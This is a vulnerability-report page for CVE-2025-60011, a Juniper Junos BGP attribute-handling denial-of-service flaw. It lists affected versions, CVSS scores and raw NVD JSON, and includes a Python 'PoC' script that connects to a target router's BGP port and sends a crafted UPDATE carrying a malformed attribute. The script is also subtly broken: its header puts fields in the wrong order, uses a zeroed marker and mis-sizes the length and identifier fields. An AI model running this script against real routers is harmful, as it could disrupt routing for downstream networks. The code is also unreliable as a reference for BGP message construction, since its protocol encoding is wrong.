Security Vulnerability Report
中文
CVE-2025-60011 CVSS 5.8 MEDIUM

CVE-2025-60011

Published: 2026-01-15 21:16:04
Last Modified: 2026-01-23 19:39:46

Description

An Improper Check for Unusual or Exceptional Conditions vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated, network-based attacker to cause an availability impact for downstream devices. When an affected device receives a specific optional, transitive BGP attribute over an existing BGP session, it will be erroneously modified before propagation to peers. When the attribute is detected as malformed by the peers, these peers will most likely terminate the BGP sessions with the affected devices and thereby cause an availability impact due to the resulting routing churn. This issue affects: Junos OS: * all versions before 22.4R3-S8, * 23.2 versions before 23.2R2-S5 * 23.4 versions before 23.4R2-S6, * 24.2 versions before 24.2R2-S2, * 24.4 versions before 24.4R2; Junos OS Evolved:  * all versions before 22.4R3-S8-EVO, * 23.2 versions before 23.2R2-S5-EVO, * 23.4 versions before 23.4R2-S6-EVO, * 24.2 versions before 24.2R2-S2-EVO, * 24.4 versions before 24.4R2-EVO.

CVSS Details

CVSS Score
5.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:o:juniper:junos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:juniper:junos:22.4:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:juniper:junos:22.4:r1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:juniper:junos:22.4:r1-s1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:juniper:junos:22.4:r1-s2:*:*:*:*:*:* - VULNERABLE
Junos OS < 22.4R3-S8
Junos OS 23.2 < 23.2R2-S5
Junos OS 23.4 < 23.4R2-S6
Junos OS 24.2 < 24.2R2-S2
Junos OS 24.4 < 24.4R2
Junos OS Evolved < 22.4R3-S8-EVO
Junos OS Evolved 23.2 < 23.2R2-S5-EVO
Junos OS Evolved 23.4 < 23.4R2-S6-EVO
Junos OS Evolved 24.2 < 24.2R2-S2-EVO
Junos OS Evolved 24.4 < 24.4R2-EVO

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-60011 PoC - Juniper Junos BGP Attribute Handling DoS This PoC demonstrates sending a malformed optional transitive BGP attribute to trigger the vulnerability in Juniper devices. WARNING: Only for authorized security testing with proper authorization. """ import socket import struct import random def build_bgp_open_msg(asn, router_id): """Build BGP OPEN message""" version = 4 hold_time = 180 open_msg = bytes([ version, # BGP version ]) open_msg += struct.pack('!H', asn) # My AS open_msg += struct.pack('!H', hold_time) # Hold time open_msg += struct.pack('!I', router_id)[1:] # BGP Identifier open_msg += bytes([0]) # Optional parameters length header = build_bgp_header(1, open_msg) # OPEN = 1 return header def build_bgp_header(type_, data): """Build BGP message header""" msg = struct.pack('!B', type_) msg += struct.pack('!I', len(data) + 19)[1:] # Length (without marker) msg += bytes(16) # Marker (all 1s) msg += data return msg def build_malformed_optional_transitive_attr(attr_type, attr_data): """ Build a malformed optional transitive BGP attribute This triggers the improper check vulnerability in Juniper rpd Attribute flags: 0x40 (Optional) | 0x20 (Transitive) | 0x10 (Partial) Attribute type: Variable (e.g., 255 for experimental) """ flags = 0x70 # Optional + Transitive + Partial (malformed state) attr = bytes([ flags, attr_type, ]) attr += bytes([len(attr_data)]) # Length byte attr += attr_data return attr def build_bgp_update_with_malformed_attr(): """Build BGP UPDATE with malformed optional transitive attribute""" withdrawn_routes_len = 0 withdrawn_routes = b'' path_attr = build_malformed_optional_transitive_attr( attr_type=255, # Experimental attribute type attr_data=b'\x00' * 32 # Malformed data ) nlri = b'' update_data = struct.pack('!H', withdrawn_routes_len) update_data += withdrawn_routes update_data += struct.pack('!H', len(path_attr)) update_data += path_attr update_data += nlri return build_bgp_header(2, update_data) # UPDATE = 2 def send_bgp_payload(target_ip, target_port=179): """ Send crafted BGP payload to trigger CVE-2025-60011 Args: target_ip: Target Juniper device IP target_port: BGP port (default 179) """ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) try: sock.connect((target_ip, target_port)) # Send BGP OPEN router_id = random.randint(1, 0xFFFFFFFF) open_msg = build_bgp_open_msg(asn=65001, router_id=router_id) sock.send(open_msg) # Receive OPEN response response = sock.recv(4096) if not response: print("[-] No response from BGP peer") return False print("[+] BGP session established, sending malformed attribute...") # Send UPDATE with malformed optional transitive attribute update_msg = build_bgp_update_with_malformed_attr() sock.send(update_msg) print("[+] Malformed BGP attribute sent") print("[*] This may cause Juniper rpd to corrupt the attribute") print("[*] Downstream peers may terminate BGP sessions") return True except socket.timeout: print("[-] Connection timeout") return False except socket.error as e: print(f"[-] Socket error: {e}") return False finally: sock.close() if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description='CVE-2025-60011 PoC') parser.add_argument('target', help='Target Juniper device IP') parser.add_argument('-p', '--port', type=int, default=179, help='BGP port') args = parser.parse_args() print(f"[*] Targeting {args.target}:{args.port}") print("[*] Sending malformed optional transitive BGP attribute...") send_bgp_payload(args.target, args.port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60011", "sourceIdentifier": "[email protected]", "published": "2026-01-15T21:16:03.950", "lastModified": "2026-01-23T19:39:45.920", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Improper Check for Unusual or Exceptional Conditions vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated, network-based attacker to cause an availability impact for downstream devices.\n\nWhen an affected device receives a specific optional, transitive BGP attribute over an existing BGP session, it will be erroneously modified before propagation to peers. When the attribute is detected as malformed by the peers, these peers will most likely terminate the BGP sessions with the affected devices and thereby cause an availability impact due to the resulting routing churn.\n\nThis issue affects:\n\nJunos OS:\n\n\n\n * all versions before 22.4R3-S8,\n * 23.2 versions before 23.2R2-S5\n * 23.4 versions before 23.4R2-S6,\n * 24.2 versions before 24.2R2-S2,\n * 24.4 versions before 24.4R2;\n\n\n\n\nJunos OS Evolved: \n\n\n\n * all versions before 22.4R3-S8-EVO,\n * 23.2 versions before 23.2R2-S5-EVO,\n * 23.4 versions before 23.4R2-S6-EVO,\n * 24.2 versions before 24.2R2-S2-EVO,\n * 24.4 versions before 24.4R2-EVO."}, {"lang": "es", "value": "Una vulnerabilidad de Comprobación Incorrecta de Condiciones Inusuales o Excepcionales en el demonio del protocolo de enrutamiento (rpd) de Juniper Networks Junos OS y Junos OS Evolved permite a un atacante no autenticado, basado en la red, causar un impacto en la disponibilidad para los dispositivos descendentes.\n\nCuando un dispositivo afectado recibe un atributo BGP específico, opcional y transitivo a través de una sesión BGP existente, este será modificado erróneamente antes de su propagación a los pares. Cuando el atributo es detectado como malformado por los pares, estos pares muy probablemente terminarán las sesiones BGP con los dispositivos afectados y, por lo tanto, causarán un impacto en la disponibilidad debido a la inestabilidad de enrutamiento resultante.\n\nEste problema afecta:\n\nJunos OS:\n\n * todas las versiones anteriores a 22.4R3-S8,\n * versiones 23.2 anteriores a 23.2R2-S5\n * versiones 23.4 anteriores a 23.4R2-S6,\n * versiones 24.2 anteriores a 24.2R2-S2,\n * versiones 24.4 anteriores a 24.4R2;\n\nJunos OS Evolved:\n\n * todas las versiones anteriores a 22.4R3-S8-EVO,\n * versiones 23.2 anteriores a 23.2R2-S5-EVO,\n * versiones 23.4 anteriores a 23.4R2-S6-EVO,\n * versiones 24.2 anteriores a 24.2R2-S2-EVO,\n * versiones 24.4 anteriores a 24.4R2-EVO."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:U/V:X/RE:M/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "YES", "Recovery": "USER", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-754"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:*:*:*:*:*:*:*:*", "ver ... (truncated)